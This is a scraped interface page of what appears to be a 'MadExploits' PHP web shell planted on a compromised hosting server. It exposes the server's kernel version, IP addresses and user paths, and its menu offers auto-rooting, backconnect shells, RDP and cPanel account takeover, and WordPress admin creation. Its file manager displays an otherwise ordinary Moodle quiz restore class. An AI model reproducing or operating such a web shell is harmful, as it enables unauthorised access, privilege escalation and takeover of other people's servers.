Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.195.86
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
quiz /
backup /
moodle2 /
[ HOME SHELL ]
Name
Size
Permission
Action
backup_mod_quiz_access_subplug...
1.8
KB
-rw-r--r--
backup_quiz_activity_task.clas...
3.48
KB
-rw-r--r--
backup_quiz_stepslib.php
7.36
KB
-rw-r--r--
restore_mod_quiz_access_subplu...
1.67
KB
-rw-r--r--
restore_quiz_activity_task.cla...
8.39
KB
-rw-r--r--
restore_quiz_stepslib.php
21.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : restore_quiz_activity_task.class.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * @package mod_quiz * @subpackage backup-moodle2 * @copyright 2010 onwards Eloy Lafuente (stronk7) {@link http://stronk7.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->dirroot . '/mod/quiz/backup/moodle2/restore_quiz_stepslib.php'); /** * quiz restore task that provides all the settings and steps to perform one * complete restore of the activity * * @copyright 2010 onwards Eloy Lafuente (stronk7) {@link http://stronk7.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class restore_quiz_activity_task extends restore_activity_task { /** * Define (add) particular settings this activity can have */ protected function define_my_settings() { // No particular settings for this activity. } /** * Define (add) particular steps this activity can have */ protected function define_my_steps() { // Quiz only has one structure step. $this->add_step(new restore_quiz_activity_structure_step('quiz_structure', 'quiz.xml')); } /** * Define the contents in the activity that must be * processed by the link decoder */ public static function define_decode_contents() { $contents = array(); $contents[] = new restore_decode_content('quiz', array('intro'), 'quiz'); $contents[] = new restore_decode_content('quiz_feedback', array('feedbacktext'), 'quiz_feedback'); return $contents; } /** * Define the decoding rules for links belonging * to the activity to be executed by the link decoder */ public static function define_decode_rules() { $rules = array(); $rules[] = new restore_decode_rule('QUIZVIEWBYID', '/mod/quiz/view.php?id=$1', 'course_module'); $rules[] = new restore_decode_rule('QUIZVIEWBYQ', '/mod/quiz/view.php?q=$1', 'quiz'); $rules[] = new restore_decode_rule('QUIZINDEX', '/mod/quiz/index.php?id=$1', 'course'); return $rules; } /** * Define the restore log rules that will be applied * by the {@link restore_logs_processor} when restoring * quiz logs. It must return one array * of {@link restore_log_rule} objects */ public static function define_restore_log_rules() { $rules = array(); $rules[] = new restore_log_rule('quiz', 'add', 'view.php?id={course_module}', '{quiz}'); $rules[] = new restore_log_rule('quiz', 'update', 'view.php?id={course_module}', '{quiz}'); $rules[] = new restore_log_rule('quiz', 'view', 'view.php?id={course_module}', '{quiz}'); $rules[] = new restore_log_rule('quiz', 'preview', 'view.php?id={course_module}', '{quiz}'); $rules[] = new restore_log_rule('quiz', 'report', 'report.php?id={course_module}', '{quiz}'); $rules[] = new restore_log_rule('quiz', 'editquestions', 'view.php?id={course_module}', '{quiz}'); $rules[] = new restore_log_rule('quiz', 'delete attempt', 'report.php?id={course_module}', '[oldattempt]'); $rules[] = new restore_log_rule('quiz', 'edit override', 'overrideedit.php?id={quiz_override}', '{quiz}'); $rules[] = new restore_log_rule('quiz', 'delete override', 'overrides.php.php?cmid={course_module}', '{quiz}'); $rules[] = new restore_log_rule('quiz', 'addcategory', 'view.php?id={course_module}', '{question_category}'); $rules[] = new restore_log_rule('quiz', 'view summary', 'summary.php?attempt={quiz_attempt}', '{quiz}'); $rules[] = new restore_log_rule('quiz', 'manualgrade', 'comment.php?attempt={quiz_attempt}&question={question}', '{quiz}'); $rules[] = new restore_log_rule('quiz', 'manualgrading', 'report.php?mode=grading&q={quiz}', '{quiz}'); // All the ones calling to review.php have two rules to handle both old and new urls // in any case they are always converted to new urls on restore. // TODO: In Moodle 2.x (x >= 5) kill the old rules. // Note we are using the 'quiz_attempt' mapping because that is the // one containing the quiz_attempt->ids old an new for quiz-attempt. $rules[] = new restore_log_rule('quiz', 'attempt', 'review.php?id={course_module}&attempt={quiz_attempt}', '{quiz}', null, null, 'review.php?attempt={quiz_attempt}'); $rules[] = new restore_log_rule('quiz', 'attempt', 'review.php?attempt={quiz_attempt}', '{quiz}', null, null, 'review.php?attempt={quiz_attempt}'); // Old an new for quiz-submit. $rules[] = new restore_log_rule('quiz', 'submit', 'review.php?id={course_module}&attempt={quiz_attempt}', '{quiz}', null, null, 'review.php?attempt={quiz_attempt}'); $rules[] = new restore_log_rule('quiz', 'submit', 'review.php?attempt={quiz_attempt}', '{quiz}'); // Old an new for quiz-review. $rules[] = new restore_log_rule('quiz', 'review', 'review.php?id={course_module}&attempt={quiz_attempt}', '{quiz}', null, null, 'review.php?attempt={quiz_attempt}'); $rules[] = new restore_log_rule('quiz', 'review', 'review.php?attempt={quiz_attempt}', '{quiz}'); // Old an new for quiz-start attemp. $rules[] = new restore_log_rule('quiz', 'start attempt', 'review.php?id={course_module}&attempt={quiz_attempt}', '{quiz}', null, null, 'review.php?attempt={quiz_attempt}'); $rules[] = new restore_log_rule('quiz', 'start attempt', 'review.php?attempt={quiz_attempt}', '{quiz}'); // Old an new for quiz-close attemp. $rules[] = new restore_log_rule('quiz', 'close attempt', 'review.php?id={course_module}&attempt={quiz_attempt}', '{quiz}', null, null, 'review.php?attempt={quiz_attempt}'); $rules[] = new restore_log_rule('quiz', 'close attempt', 'review.php?attempt={quiz_attempt}', '{quiz}'); // Old an new for quiz-continue attempt. $rules[] = new restore_log_rule('quiz', 'continue attempt', 'review.php?id={course_module}&attempt={quiz_attempt}', '{quiz}', null, null, 'review.php?attempt={quiz_attempt}'); $rules[] = new restore_log_rule('quiz', 'continue attempt', 'review.php?attempt={quiz_attempt}', '{quiz}'); // Old an new for quiz-continue attemp. $rules[] = new restore_log_rule('quiz', 'continue attemp', 'review.php?id={course_module}&attempt={quiz_attempt}', '{quiz}', null, 'continue attempt', 'review.php?attempt={quiz_attempt}'); $rules[] = new restore_log_rule('quiz', 'continue attemp', 'review.php?attempt={quiz_attempt}', '{quiz}', null, 'continue attempt'); return $rules; } /** * Define the restore log rules that will be applied * by the {@link restore_logs_processor} when restoring * course logs. It must return one array * of {@link restore_log_rule} objects * * Note this rules are applied when restoring course logs * by the restore final task, but are defined here at * activity level. All them are rules not linked to any module instance (cmid = 0) */ public static function define_restore_log_rules_for_course() { $rules = array(); $rules[] = new restore_log_rule('quiz', 'view all', 'index.php?id={course}', null); return $rules; } }
Close